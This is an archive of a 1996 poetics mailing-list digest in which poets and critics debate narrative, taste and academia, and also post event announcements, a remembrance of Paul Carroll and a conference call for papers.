Your logic is off. Man says he's interested in considering W+X (having a poetics) rather than Y+Z (explaining literature). I say that that I don't think anyone was interested in Y+Z (explaining literature), and propose that we focus on Y (explaining), which I claim is equivalent to S (a narrative or story). Then I make the argument that if and only if S+X is true (there exists a narrative of a poetics), then W+X is true (one can have a poetics). This is a different... ummm, *story* entirely, so the rest of the comments in your paragraph are not at all relevant to the argument I was actually making.

> *Don't*
> *assume you're the only non-academic here.*

I don't. That's why I said "most."

Kali

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
PO Box 13746, Tucson, AZ 85732-3746
[redacted]
Sixties Project: http://jefferson.village.virginia.edu/sixties/

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262. Chris Stroffolino
sublimation (sex, etc)
Mon 9 Dec 1996

----thinking about the relation of poetry to sex.....
two theoretical terms....
sometimes poetry is sex?
sex is "not all" (stevens, ashbery, etc)--
a substitute for sex?
or sex is a substitute for poetry?
(those who have sex to write sex poetry, assuming they
exist)--the life of theory is the sex of theory, and
romanticism....
or are certain poetic practices or assumptions more
prone to, or grounded in, the necessity of sexual frust-
ration? "IMAGISTS are certainly better lovers than
symbolists and romantics, but not as good as amygists?"
or does poetry ever LEAD to sex?
or do they, should they, occupy two opposite universes?
life and art should be kept apart....
if one agrees that the most "social" of poetries can be
seen as a kind of "onanism", does macho bravado (or macha bravada)
signify the gentleness that revolutionaries
lack until collaboration is revealed to be the nudity one can
only write about while clothed in textual frustration that is
an honest anger for green privilegings of the impersonal that
could be confused with writing the body as long as it's spiritual as a
personal letter written by a rich person who isn't concerned with "poetic
economy" which in such a forum can be said to be the trouble with minimalism?
or do you prefer sex in the head to a hex in the shed?

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263. Patrick Foley
Re: Wild taste
Mon 9 Dec 1996

Kali,

I'll offer a draw on the rhetoric. As for the logic, you need to change "if and only if" to "only if" if you want to disagree with me. It might take even more sorting out, but who cares? The point is you think stories are required for everything, and you have a distressing habit of using passive verbs and vague pronouns around them, "are formed", "are produced", "we" simply have them,

and they shape "our" perceptions, etc. Toward the end of your explanations, people do tell them about themselves and their art, even though at the beginning they're disqualified from telling metanarratives. I don't know what to make of it all.

This is turning into a philosophical argument I can do without at the moment. I could critique your use of "story" -- it's something like the general form of a proposition, and I'm similarly suspicious. But this is not a philosophy list, so that's all I have to say about it.

Pat

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264. MAXINE CHERNOFF
Re: paul carroll.
Mon 9 Dec 1996

Dear Folks,

Paul Hoover's away from home and not on the internet for a few more weeks and I've been away this weekend as the notices about Paul Carroll began to come in. Paul and I knew Paul Carroll for about 20 years in Chicago. The relationship began when Paul was Paul C's student at the U of I Chicago and became a very personal one over the years. In fact, Paul H did the wedding ceremony when Paul C married his second wife, the sculptor Maryrose Carroll (with his Universal Life Church mail order ministry certificate), and there were many nights when Paul C would show up at our place either in a broadly gracious, poetry-reciting (he loved Neruda and knew zillions of poets by heart) mood or in a more troubled state of mind, often provoked by alcohol. In his good times, Paul was a great raconteur, a generous promotor of young writers' work (hjence the anthology) and a fine poet (some of his work is listy and reminiscent of Corso and the Beats; other pieces of his are influenced by Catullus and all of the poets he read at the U of Chicago). Paul suffered from living in Chicago in terms of being overlooked for most of his poetic career. He helped populareize the Beats and brought Ginsberg to Chicago for an eraly reading but never was really one of them. He had many friends among poets but his being off the beaten track and his recurrent problems with drinking and depression made him hard to love at times. Still he was a generous spirit, a fine poet, and an astute critic. His reading was broad, his taste was generous, and no one could tell funny Irish neighborhood stories like him.

Maxine Chernoff

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265. **Bil Brown**
Re: sublimation (sex, etc)
Mon 9 Dec 1996

CHRIS,

Maybe I'm odd to this list, but I think I prefer sex AS sex and not SEX as poetry As sex as poetic orgasim... whatever.

Again, maybe I'm odd -- but I keep my dick out of my poetics and in my pants.

Bil Brown

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266. **Michael Boughn**
Re: Wild taste
Mon 9 Dec 1996

Something else Jack Clarke used to insist on: never use what you know to explain what you don't know.

Mike
[redacted]

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267. **Gwyn McVay**
Re: Wild taste
Mon 9 Dec 1996

Kali,

(Yipe! Watch where your browser points them thar attributions, okay?)

I think, then, that what you're arguing, while far from mechanistic, is actually an assertion about human cognition. If you don't mind my veering off on a tangent, I'd like to ask, quite seriously: do you think that nonhuman species also use "story" to distinguish threatening vs. nonthreatening features of a landscape, edible vs. nonedible things, etc., or do you see "story" as an emergent property peculiar to humans? (I know, I know, this sounds like "Does a dog have Buddha-nature?")

I do see what you mean about the necessity of a "story" to explain a poetics; I think that "story," in this instance, can still operate at a very basic level--in other words, the "story" may have a narrative no more developed than "This is like A but not like B."

Gwyn

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268. robert drake
Re: Wild taste
Mon 9 Dec 1996

kali wrote...

> *What is the difference between "having a poetics" and "explaining literature"? Seems like "a poetics" *is* an "explanation" of a kind. Certainly I didn't hear anyone try to explain *away* literature, which is what you seem to be implying by your comment. If you've "got" a poetics, you've also got a story about it, which either does or does not go without saying. Even the claim that "having a poetics... is a matter of life and death" is based on some narrative you've bought into. It isn't just a simple "fact."*

several folks seem to have objections to the notion ov narrative as a face of one's poetics... but i rather like th idea (& praps that's me misunderstanding some "jargon")... it suggests an ongoing tale, a process in which we meet new texts, test them against our world view (our poetics) and either alter that view &/or explain th text in terms of it... and that allows for a development across time that has explaination value for my own experience; also suggests th shared mythology that, fr me, is th defining feature of a community... & finally, as this thread itself points out, that the collection of individs here gathered on the poetics list have a variety ov such mythologies; hopefully all narrating those stories together and contradicting th hell out ov one another...

feeling optimistic fr a change
luigi

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269. tmandel
a (cut here) cada (paste here) me
Mon 9 Dec 1996

If I were able to spend more of my time reading words spoken/written with the significance and force of Joe Amato's last post I would be a happier human on all fronts.

My favorite manufacturer of suits is Oxxford. An Oxxford suit is stitched by hand -- only the inside seams of the trousers are done on a machine. The shoulder, as on any quality garment, is set in and stitched in place by hand. No suit can fit if made otherwise.

Turning up the collar of the jacket of an Oxxford suit will reveal that the neck has been stitched and shaped by an individual. A few stitches, then a hand iron

and hand shaping, then a few more stitches until the job is done. The job is done by someone not paid very much money for his (usually) work.

Look at the waistband of the trousers on an Oxxford suit; the waistband is stitched together by a individual with a needle between thumb and index finger. It's a superior way to create a garment.

I might mention that Oxxford suits have no style, that is they are never in any relation to fashion, tho over the years the lapels have been wider or narrower as the industry has changed these specifications.

Naturally, a company making a product of this kind -- anonymous and of exceptional quality -- finds it hard to survive in the megaconomy of our time. Oxxford was on the edge, threatening to go under, about a decade ago. Fortunately, William Haas -- president of, owner of Levi Strauss -- noticed this. Haas liked wearing Oxxford suits. So he bought the company.

An Oxxford suit costs about $2,500 off the rack these days. You can find them at Neiman Marcus I'm told. Just a second, I'm going to count how many I have in my closet.....

I have seven of them. Now, it goes without saying that I can't afford to buy them at Neiman Marcus. Instead, I buy them at thrift stores. The most expensive one I have cost $17. About 3 weeks ago, I found a medium weight blue cashmere Oxxford blazer in perfect condition in a thrift store on P street in Georgetown here in DC. Fit like a glove and cost $12.

Dana, the offer is always open.

Tom

****
Tom Mandel * 2927 Tilden St. NW
Washington DC 20008 * [redacted]
vox: [redacted] * fax [redacted]
****

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270. **amato**
Re: narrative vs. story
Mon 9 Dec 1996

again, i have to chip in here to say that if "story" is used interchangeably with "narrative" (and there's a significant loss in doing so) why then i'll second the motion for its ubiquitousness... but i wouldn't want to argue it at the cognitive level---not w/o a whole lotta critical interference...

i'm afraid of story... it's everywhere these days, in our media---there seems to be no damned place you can go where it *isn't*... and i've seen the results of more simplistic applications of the concept of storytelling to history... the old grand metanarrative hypothetically gets replaced with subjective experience, experience that implicitly questions its truth value---but nature often comes in the back door (or technology, once it's sufficiently 'naturalized') simply b/c we all tend to believe individual experience in such terms... and lo---what you get is the standard metanarrative of progress, say... so it's not always a good thing, in all... story converts into beginnings middles ends what is a highly (thanx rod for the backchannel!) contingent, and in my view often highly complacent, motion toward the "real"...

there are narrative elements in language (as rod suggests), and metanarrative, as kali argues, is not something *we* purposively make (necessarily!---the cia is real good at covert such ploys/plots)... but in order to counter metanarrative, and in addition to some wild stories, i would argue that you need to attend to that which is not narrative on the face of it---which may ultimately be per/received as story, which will surely have narrative elements, but i'll say it again---is not intrinsically story... you can make a story out of just about anything, sure, but what is it intervenes and sez, "hey, hi, i'm ONLY a story"?... i mean, instead of "hey, hi, i'm a TRUE story"... in fact (and kali, you're more aware of this than most folks i've met), it's exactly on the axis of truth/fabrication that so much so-named minority/ethnic lit has turned... if it hasn't been 'normal' enough as a narrative structure, if it hasn't been 'true' enough as a story, if it's been too postmodern, say, or too disruptive, why then the 'truth' of it has fallen short of what certain readers (or critics) have desired... which isn't a criticism of story per se---i raise this issue to give some idea of the normalizing effects of story... in short, i prefer to allow both for story and for a more disjunctive approach to form, which i just won't call story...

but hey---i'm a poet, for chrissakes!... i mean, only some of my work is really narrative poetry per se---in which the focus IS narrative... do i tell stories?... hell yes!... is storytelling my focus as a poet?... hell no! (at least, not in my opine)... so again, it's a matter of how you emphasize things...

a long time ago, stein wrote "narrative is what anybody has to say in any way about anything that can happen has happened will happen in any way"... true enough... i've always thought that pretty much everything that can 'happen' is part of stein's 'definition'... but recourse to happenings, to beginnings middles & ends, while it'll probably always be just at our fingertips, can be just too damned easy...

best,

joe

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271. **dbkk**
Food for Life
Mon 9 Dec 1996

This is Kevin Killian. I hope all of you can go to your bookstore and buy a copy of "Food for Life" ed. Lawrence Schimel (Cleis Press). This is a book of recipes by dozens of gay and lesbian etc., writers, poets, artists, athletes, film stars etc, all with cute pictures of the contributors making the recipes, and all of the profits go to various AIDS charities--the food service groups in many cities that go around and deliver meals to those too ill or weak from AIDS or other catastrophic illness to go out and get it themselves. (Alternately, you could just give the money directly to these groups, which are listed in an appendix to this book.) They are providing a great service, and this book is really cute. Me and my white cat Blanche appear on page 140 for all of you Poetics List people who have always wondered, what does Kevin Killian actually look like and what kind of thing does he eat? I never thought I'd appear in the same book as Martina or Ru-Paul. This has got to be seen to be believed! Thanks.

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272. **Charles Alexander**
Re: Wild taste
Mon 9 Dec 1996

> *it suggests an ongoing tale, a process*
> *in which we meet new texts, test them against our world view (our poetics)*
> *and either alter that view &/or explain th text in terms of it... and*
> *that allows for a development across time that has explaination value*
> *for my own experience; also suggests th shared mythology that, fr me,*
> *is th defining feature of a community... & finally, as this thread itself*
> *points out, that the collection of individs here gathered on the poetics*
> *list have a variety ov such mythologies; hopefully all narrating those*
> *stories together and contradicting th hell out ov one another...*

& such narratives/mythologies/explanations/stories are not necessarily consistent, and are (necessarily?) always changing.

charles

---------- get off my back. the future fields into which I write are unimaginable. I do not know, any more than you do, what is around me, nor how far to go, nor precisely what I leave behind.

--Beverly Dahlen
from A Reading 8 - 10

published by Chax Press

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273. **dbkk**
Oppen lecture, December 5
Mon 9 Dec 1996

This is Kevin Killian. I missed the very first sentence of the 11th Oppen lecture at the Poetry Center of San Francisco State, so I missed Peter Quartermain's announcement of his methodology.... Afterwards I ran around asking people what he had said. Apparently he had written to quite a number of women writers asking them a) if they had ever known Oppen and b) what they made of his work. A large number replied and he was able, quite skillfully, to weave their responses into his talk, which seemed centered on a few closely related themes. What were Oppen's own thoughts about the position of women in the socialist revolution? What did he make of the new (1960s/1970s) wave of female poets who followed some of his trails, and why did he seek so many of them out? What "news" had they for him, and vice versa? A large crowd of interested people listened intently as PQ captured some of Oppen's ambivalence and contradictory thought on these questions. Oppen, he told us, advised Denise Levertov to go lightly on writing on political and social issues, while out of the other side of the mouth he berated Kathleen Fraser for not delving into them deeply enough. PQ teased some sense out of this apparent paradox, but stopped short of actually coming out and saying Oppen was a misogynist, I wonder why? Perhaps this wasn't the time or place. After the lecture, PQ and Jewelle Gomez, the formidable director of the Poetry Center, fielded a number of spirited questions from the audience. I hope this talk is published in its entirety, somewhere, sometime soon because I think I have failed to give a sense of how interesting it was and how multi-dimensional. All week long in San Francisco we have been having a whole year's worth of poetry events so I guess I was wired! More later.... Sighted at this event was the novelist Dorothy Allison, who asked afterwards, "Who is that stunning woman with the copper colored hair over there? She is my dream girl," and it turned out to be Kathleen Fraser.

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274. don_cheney
If I give Bill $2,000 can I say I wrote SWOON ROCKET?
Mon 9 Dec 1996

"The Post also reported that Jay Leno paid $1,000 to
comedian Jeff Altman for permission to attribute to
himself an experience that actually happened to Altman
(it involved getting cutting off by the band during
a segment on the Dinah Shore show). In the past,
Leno had also used the incident, also with Altman's
blessing. Sounds like a slow news day over at the
Post ..."

from a listserve type thing called LATE SHOW NEWS by Aaron Barnhart

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275. Kali Tal
Re: Wild taste
Mon 9 Dec 1996

> *several folks seem to have objections to the notion ov narrative as a face of one's poetics... but i rather like th idea (& praps that's me misunderstanding some "jargon")... it suggests an ongoing tale, a process in which we meet new texts, test them against our world view (our poetics) and either alter that view &/or explain th text in terms of it... and that allows for a development across time that has explaination value for my own experience; also suggests th shared mythology that, fr me, is th defining feature of a community... & finally, as this thread itself points out, that the collection of individs here gathered on the poetics list have a variety ov such mythologies; hopefully all narrating those stories together and contradicting th hell out ov one another...*

yes, yes, yes, that's *exactly* how i see the process. i'd add, though, that we don't meet new texts without expectations created by earlier texts, by the explanations we've already devised, and by the mythologies we share. and some shared narratives (for a variety of reasons) become dominant in particular cultures, and some don't.

Gwyn writes:

> *veering off on a tangent, I'd like to ask, quite seriously: do you think that nonhuman species also use "story" to distinguish threatening vs. nonthreatening features of a landscape, edible vs. nonedible things, etc., or do you see "story" as an emergent property peculiar to humans?*

funny you should ask this. the answer is that, yes, i think that nonhuman species use stories to explain their world. i live with and train wolves and wolf-hybrids. i've been doing it for over fifteen years, and i'm completely convinced

that canines and other social mammals couldn't function as they do unless they had the capacity to tell stories about the world. i know it really bothers some people when i claim that animals have quite sophisticated intelligence and possess some of the abilities we tend to associate only with human beings (a kind of language; an imagination), but that's just how i see it. i had one wolf pup--a year or so ago--who had a terrific imagination. she'd lay her toys out in the yard and battle over them, playing tag with imaginary playmates. her games were quite complex and had discernable rules. i've got a pup now who is made tremendously happy when i am training him. if i miss a day, he sulks. when i take him out to work him he swells with pride every time he does something right. i watch the wolves interact with each other and i can see that establishing social hierarchies and dominance ranking is all about storytelling. frequently, the alpha wolf (who is as often female as male) is physically less strong than the rest of the group (particularly as he or she ages). all the other wolves know that, but dominance is awarded for reasons other than sheer strength. establishing the dominance hierarchy is all about wolves telling other wolves stories. their stories are different from human stories, but i wouldn't argue that they are less interesting or less sophisticated. it's amazing how many people get really upset when i make this claim. i wonder how poets will react... if you're interested in a text that describes a lot of my thinking about animals (and how human stories interact with animal stories) check out philosopher and animal trainer Vicki Hearne's wonderful book _Adam's Task_.

kali
Kali Tal
Sixties Project & Viet Nam Generation, Inc.
PO Box 13746, Tucson, AZ 85732-3746
[redacted]
Sixties Project: http://jefferson.village.virginia.edu/sixties/

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276. Aldon L. Nielsen
Re: DAMNNNNNN!
Mon 9 Dec 1996

Been readin along in all this (in between pumping gas) with some mental pain --

You don't have to be an academic to be aware of the fact that "narrative" has been a crucial concern in "poetics" for millenia -- And even we former campus cops can read the difference between a claim that individuals don't make up metanarratives by their own selves and a claim that individuals can't "tell" or "write" metanarratives --

If only we could sing "If it weren't for misprision I wouldn't have no prision at all!"

[and waaayyyy back in second grade (in an early fir of poetics perhaps) I got in trouble with my teacher for asking how she knew that verbs could be "weak" -- He seemed to think it a tasteless question]

if the "fir" fits, wear it --

(If you REALLY want to witness a fit of misprision, read J. Rosen's article in the current _New Republic_, wehrein he not only dismisses Critical Race Theory's penchant for narrative, but holds these legal theorists responsible for the movie _Set It Off_ --)

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277. aerialedge
Price/Smith reading
Mon 9 Dec 1996

Saturday Dec. 14th @ 7:30

Larry Price
& Rod Smith

Ruthless Grip Art Project
U Street NW
near the corner of 15th
Washington, DC

B.Y.O.E.
(Bring Your Own Ears)

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278. shoemakers
Re: Oppen lecture, December 5
Mon 9 Dec 1996

Kevin--I don't see why the "apparent paradox" you describe below wld make Oppen a "misogynist," i.e. "one who hates women." Steve

On Mon, 9 Dec 1996 [redacted] wrote:

> *This is Kevin Killian. I missed the very first sentence of the 11th Oppen lecture at the Poetry Center of San Francisco State, so I missed Peter Quartermain's announcement of his methodology.... Afterwards I ran around asking people what he had said. Apparently he had written to quite a number of women writers asking them a) if they had ever known Oppen and b) what they made of his work. A large number replied and he was able, quite*

> *skillfully, to weave their responses into his talk, which seemed centered on a few closely related themes. What were Oppen's own thoughts about the position of women in the socialist revolution? What did he make of the new (1960s/1970s) wave of female poets who followed some of his trails, and why did he seek so many of them out? What "news" had they for him, and vice versa? A large crowd of interested people listened intently as PQ captured some of Oppen's ambivalence and contradictory thought on these questions. Oppen, he told us, advised Denise Levertov to go lightly on writing on political and social issues, while out of the other side of the mouth he berated Kathleen Fraser for not delving into them deeply enough. PQ teased some sense out of this apparent paradox, but stopped short of actually coming out and saying Oppen was a misogynist, I wonder why? Perhaps this wasn't the time or place. After the lecture, PQ and Jewelle Gomez, the formidable director of the Poetry Center, fielded a number of spirited questions from the audience. I hope this talk is published in its entirety, somewhere, sometime soon because I think I have failed to give a sense of how interesting it was and how multi-dimensional. All week long in San Francisco we have been having a whole year's worth of poetry events so I guess I was wired! More later.... Sighted at this event was the novelist Dorothy Allison, who asked afterwards, "Who is that stunning woman with the copper colored hair over there? She is my dream girl," and it turned out to be Kathleen Fraser.*

Steve Shoemaker

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279. **amato**
Re: Wild taste
Mon 9 Dec 1996

---

yknow, i really like the idea of animal narratives, kali!...

the turn to narrative (as in haraway's "core narratives," wrt science, new historicism, etc.) has been extremely important, sure, it still is... but is there any way to discuss duration w/o reducing it to episode?...

i'd like to see history more as a matter of assemblage, compilation---which can of course include stories, but doesn't necessarily reduce to same... even in terms of community, i often (always) have one foot in, and one out---b/c of specific idiosyncracies i'm not willing to give up---to somebody's idea of a coherent 'life' story, say...

anyway, personal stories, dog stories, fish stories---i'm interested in hearing any and all!...

best,

joe

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280. Dan Machlin
Erica Hunt, Peter Gizzi Reading
Mon 9 Dec 1996

Please join us at our last reading of the season:

ERICA HUNT
PETER GIZZI

Thursday, December 12, 1996, 7:30 p.m., Suggested $3 or $5 (as you can)
S e g u e P e r f o r m a n c e S p a c e
303 East 8th Street, NY, NY
(Betw. Aves B&C) buzz 1R

Refreshments available

and look out for our Spring series starting up again in early Feb.

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281. charssmith
Oliveros
Mon 9 Dec 1996

In a message dated 96-12-08 17:53:17 EST, you write:

<< Kali, turns out most of my Oliveros is in California -- so I'll mail "I of IV" along with some now old new music of the sixties in a similar vein -- and will then get more Oliverso to you late January -- >>

Aldon, hmmm... am curious. Pauline's teaching at Mills this semester & just did some wonderful concerts & lectures at the New American Music Festival here in Sacramento, including one of her deeplistening site pieces in the rotunda of the state capitol. Last weekend, in Nevada City, she & Terry Riley did a concert.. each presenting a piece, then after the break, they did a joint electronic improv.

I've had a hard time in the past getting interested in this stuff, but find that I'm much more receptive now. Anyway, what is this piece you are referring to? Where's it available?

hope you're enjoying Boulder!

all best,
charles

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282. Poetics List
Various
Mon 9 Dec 1996

I forget who asked this (just back from NYC to find 3 Poetics Digests in my mail, comprising 95 individual messages), but yes Howie Winant is on the road to a full recovery, though it may take a year or even longer. He was in a horrific bike accident in the Santa Cruz mountains last summer and was indeed in a coma for awhile. Also broke and bruised pretty much everything that can be either broken or bruised. Bob Perelman's been in much closer touch than I and can give a more detailed update.

Tom,

There are lots of smart people in colleges, but most often they're students and relatively unread. One of the problems it raises is the hierarchical nature of the interchanges, which leads so many teachers into seeming (or becoming) pompous rather than more knowledgeable.

I tend to agree with Aldon that the computer industry isn't any more full of smart people than anyplace else (Wall Street, the military, prisons, etc.). In general, tho, the work relationships between people are much less tortured than in the academy (here you will find a differential betwixt those work environments in the last parenthetical phrase). Outside of prison, sweatshops & the military, the academy is (one of) the worst work environments invented by mankind.

I, for one, tend to think that tenure is one of the things that makes it worse. (Treating slavery as privilege is an old trick, but it still works pretty well.)

Ron Silliman

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283. Gwyn McVay
Re: Wild taste
Mon 9 Dec 1996

OK Joe--I might as well admit--my two cats (poetic black of course) are my first readers. I swear. Girl Scout's honor. If what is being printed out on my laser printer is pretty good, one of the cats will immediately sit on it. If it's REALLY good, they try to dig it out as it's coming out of the printer. If it still needs work, they won't even be in the room.

Cross my heart,
Gwyn

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284. Elizabeth Mathews Losh
Quantitative Metrics: Coleridge, etc
Mon 9 Dec 1996

Dear Poetics Group:

I have a rather specialized query that only tangentially relates to the twentieth century, but I'd appreciate any responses. I am looking for versification theory about quantitative metrics from the 18th and 19th centuries. I'm trying to work up quantitative metrics as a survey subject and I find myself with lots of material from the Elizabethan period and, obviously, lots from the twentieth century (Bridges, Williams, etc. and on into Olson and company), but very little in between. I am sort of following a thread about quantitative metrics and questions of nationalism, but that isn't a necessary ingredient.

I understand that Coleridge saw "Khubla Khan" as a quantitatively metrical poem (In XANaDU did KHUbla KHAN a STATEly PLEAsure DOME deCREE - I suppose you can hear it in terms of duration rather than accent). If anyone knows WHERE Coleridge writes about quantitative metrics I would be grateful.

Thanks

Liz Losh

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285. Rachel Loden
Re: sublimation (sex, etc)
Mon 9 Dec 1996

Bil Brown wrote:

> *Again, maybe I'm odd -- but I keep my dick out of my poetics and in my pants.*

Is that what they mean by the school of DISEMBODIED poetics?

Rachel Loden

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286. Jeffrey W. Timmons
Re: Wild taste
Mon 9 Dec 1996

On Sun, 8 Dec 1996 [redacted] wrote:

> *one most times will end up denying the validity of another's perception. this tends to be boring &/or argument for argument's sake. tho when one knows another person well something like antin's "tuning" can take place-- you can get a feel for, begin to see the place(s) that taste comes from even while not being in agreement. or being in agreement when you're with that person, you can see it _with_ them, & it might change you. John Cage had this effect on many many people.*

are you saying taste--rather than a space of division--can be one of consensus? rather habermasian dont you think?

jeffrey timmons

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287. **Jeffrey W. Timmons**
Re: sublimation (sex, etc)
Mon 9 Dec 1996

On Mon, 9 Dec 1996, Chris Stroffolino wrote:
> or does poetry ever LEAD to sex?

yes.
but not
always.

jeffrey timmons

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288. **wkl888**
Fwd: Call for papers (fwd)
Mon 9 Dec 1996

Forwarding this Call for Papers since it is directly relevant to recent discussions on the Poetics list re: Writers' relation to Academe, Theory, etc.

Walter K. Lew

Forwarded message:
From: [redacted] (SHARMILA MUKHERJEE)
Sender: [redacted]
Reply-to: [redacted]
To: [redacted]
Date: 96-12-09 20:23:36 EST

---------- Forwarded message ----------
Date: Tue, 3 Dec 1996 11:05:32 -0700
From: Richard Caccavale <[redacted]>

To: [redacted]
Subject: Call for papers

Please reply to [redacted] for more information on this post.

Reconcilable (In)Differences: The Marriage of Writers and Critics

In honor of the 50th anniversary of the Writing Program at the University of Denver, the Creative Writing Program, in conjunction with the Academic Literature Program, is sponsoring a conference to explore the growing schism between writers and critics.

Mission Statement

Pressures of professionalization for writers have led to an increase in the number of degree-granting institutions for poets, essayists, dramatists, and fiction writers hoping to work in the Academy. As a result, writers in the Academy are engaging, often for the first time, with literary and philosophical theoretics sometimes at odds with their own position as would-be craftspeople. Likewise, professional critics, theorists, and academics find themselves in the position of being surrounded in the university setting by individuals who challenge much of contemporary critical perspective in favor of a return to a craft-oriented reading of a work. What does all this mean, then, for the writer, the critical theorists, and the process of hermeneutics in particular? The re-emergence of the writer/critic and the critic/writer highlights the late twentieth-century schism that seems to have widened steadily between the two disciplines. As graduate writers increasingly mix with graduate theorists, academia must turn its attention back to the roots of critical inquiry in an effort to reverse, somehow, the resulting fragmentation of its departments into scattered and often highly specialized camps. This conference will allow a continuation of recent attempts to reconcile both halves of contemporary literary thinking--affording both academics and writers an opportunity to speak to the future of textual concerns in this thickening climate of professional and pre-professional integration.

The current academy, in that it plays host to both critical and creative endeavors--often originating from the same individual(s)--has become a hotbed of this type of theoretical debate. Yet as visiting writer Amitav Ghosh noted recently, "creative writers and literary critics have never been farther apart than they are today." The purpose of this conference will be to provide a forum for both critical and "creative" theoretics. The new millennium promises sweeping changes in the Academy with concomitant changes in literary theory and practice. What we are looking for are ideas which engage and further this debate, and which will illuminate, perhaps, a common ground upon which the problems of textual studies can be collectively identified and discussed.

Topics for Investigation

* The Role of the Writer / The Role of the Theorist in Textual Studies

* Limiting or Delimiting Interpretation: Hermeneutics, Philosophy, and the Elusive Text

* Narratology in the Post-Colonial and New Historical Climate

* New-Formalism, Re-Formalism, and Contemporary Theoretical Investigation

* Professionalization in Writing and Critical Theory

* Hypertext and the Authority of the Author / Critic

* Creative Works for Open Reading

* Undergraduate Submissions are Encouraged

Plenary Speakers and Associate Writers

Confirmed Plenary Speakers:

* Gerald Graff: the George M. Pullman Professor of English and Education at The University of Chicago and author of Literature Against Itself, Beyond Culture Wars, Professing Literature, and The Myth of Cultural Decline

* Marjorie Perloff: the Sadie Dernham Patek Professor of Humanities at Stanford University and author of Wittgenstein's Ladder: Poetic Language and the Strangeness of the Ordinary, Radical Artifice: Writing Poetry in the Age of Media, and The Poetics of Indeterminacy among others.

University of Denver Associated Writers:

* Brian Kiteley: Director of DU Writing Program and author of: I Know Many Songs, but I Can't Sing, and Still Life with Insects

* Rikki Ducornet: author of Phosphor, Dreamland, Jade Cabinet, Fountains of Neptune, Entering Fire: The Stain, and Complete Butcher's Tales

* Beth Nugent: author of Live Girls!, and City of Boys

* Bin Ramke: editor of Denver Quarterly and author of, Difference Between Night and Day, Erotic Light of Gardens, Language Student, Massacre of Innocents, and White Monkey

* Cole Swensen: It's Alive She Says, Park, and translator of Allures Naturelles by Pierre Alferi

Conference Logistics

The conference will be held at the University of Denver from Friday, April 4th until Sunday, April 6th, 1997. There will be cocktail party and a banquet dinner.

Registration Information

Registration Fees: Thru 3/1/97, $50 faculty; $35 grad/undergrad. After 3/1/97, $75 faculty; $50 grad/undergrad.

Please visit our web site at: http://www.du.edu/~rcaccava/conference.html for registration information.

Call For Papers

Panels will consist of a series of twenty minute papers. The Denver Quarterly has agreed to publish selected papers and creative works. Please submit one-page abstracts by January 20, 1997. Submissions should be mailed to:

Department. of English
Attn: Reconcilable (In)differences
Pioneer Hall, Room 414
2140 S. Race, Denver CO 80208

or emailed to: [redacted]

Organizers and Advisors

Faculty Sponsor: Brian Kiteley

Faculty Advisory Committee:

*Elenor McNees
*Diana Wilson
*Jan Gorak
*Elizabeth Wolf
*Eric Gould
*Bin Ramke

Contact Information

For more information email: [redacted] or write to the address above

+----------+
Richard Caccavale
[redacted]
www.interealm.com/p/darkstar/
+----------+

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289. **wystan**
Re: taste, judgment, etc...
Mon 9 Dec 1996

Dear Kali, I think 'taste' is different from and more complex than 'opinion' because it presumes a pattern of responses, a pattern that more effectively

supports judgements about works than your 'rigorous standards of analysis and argument' because it has a broader base, one which recognizes we make judgements, discriminations all the time, in contexts far more varied than your intellectual court of law.

You and others misunderstand me when you equate' not explaining yourself' with ' not knowing'; maybe the case for taste is the stronger for that particular complexity not being readily grasped.

We are also at cross-purposes on the matter of the range and variety of our likes and dislikes, taste is not necessarily narrow.

I think you have no taste and I don't have an ideology.*

Best,
Wystan

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290. Jeffrey W. Timmons
Re: Quantitative Metrics: Coleridge, etc
Mon 9 Dec 1996

On Mon, 9 Dec 1996, Elizabeth Mathews Losh wrote:
> I have a rather specialized query that only tangentially relates to the
> twentieth century, but I'd appreciate any responses. I am looking for
> versification theory about quantitative metrics from the 18th and 19th
> centuries. I'm trying to work up quantitative metrics as a survey
> subject and I find myself with lots of material from the Elizabethan
> period and, obviously, lots from the twentieth century (Bridges,
> Williams, etc. and on into Olson and company), but very little in between.
> I am sort of following a thread about quantitative metrics and questions
> of nationalism, but that isn't a necessary ingredient.

liz: i dont know about coleridge and im not sure i quite understand whether youre looking for primary or secondary sources here but in the 18th C there is a great deal of writing on metrics. this is not an area i am well-versed (ha) in but i would be glad to pass on your request to the 18th C listserv--or provide the address for you--where im sure someone would be able to provide you with sources on this subject. as for the nationalism aspect: im curious. could you elaborate? im actually working on nationalism and consensus in the 18th C--and ive run across discussions of parallels between certain political affliations and poetic forms. if this is something youre interested in please let me know and ill pass on the sources for this. im not sure this is much help.

jeffrey timmons
arizona state university

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291. **Patrick Foley**
Re: DAMNNNNNN!
Tue 10 Dec 1996

> *You don't have to be an academic to be aware of the fact that "narrative" has been a crucial concern in "poetics" for millenia -- And even we former campus cops can read the difference between a claim that individuals don't make up metanarratives by their own selves and a claim that individuals can't "tell" or "write" metanarratives --*

Look, Aldon, this particular subthread was started by Mike, who said he was not interested in "explaining" literature, but that having a "poetics" (taste, cathexis) was a matter of life & death. Kali said your poetics indicates you've bought into some "narrative", allows later that she was indeed claiming explaining is "equivalent" to having a "story", and sometimes she says "metanarrative", sometimes "narrative", sometimes "story". Don't blame me for the confusion of terminology or of what exactly is being claimed here. We've gotten way too far for my tastes from Mike's original point. --- Btw, your own post here indicates a possible circularity (presumably virtuous & hermeneutic for Kali) in relying on the idea of "narrative" when talking about the field whose subjects include "narrative". The talk around here has been about the narrative of poetics, Aldon, not the poetics of narrative. Whether that makes any sense is not my problem.

Pat

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292. **Kali Tal**
Re: taste, judgment, etc...
Tue 10 Dec 1996

Dear Wystan,

Thanks for the interesting observation that taste is more complex than opinion because it presumes a pattern of responses. I think that you may be right about this. I'm not arguing *against* "taste"--merely against the notion that it doesn't need to be examined. I want taste *plus* rigorous standards of analysis and argument. Just like we make judgements and discriminations all the time, we all also have "tastes." The question is, "so what?" I'm interested in the question of what individual and social functions the possession of particular tastes serves, and if certain patterns of responses can be mapped to certain belief systems (about race, gender, or class, etc.). Seems to me that only a certain class of people is excused from having to explain or justify their tastes,

and that those who aren't privileged are always having to say why they like what they like--justify their (outsider) positions to whatever establishment exists.

> *I think you have no taste and I don't have an ideology.**

Hmmmm. I think I've got taste(s), and you've got an ideology. Certainly, I've got very specific tastes in poetry (which is why I publish some poets and not others), and in music and art. And I'd wager you've got a set of relatively coherent beliefs about power structures and politics. Amusing that "ideology" is apparently as bad a word for you as "Taste" (with a capital T) is for me.

Cheers,
Kali

Kali Tal
Sixties Project & Viet Nam Generation, Inc.
PO Box 13746, Tucson, AZ 85732-3746
[redacted]
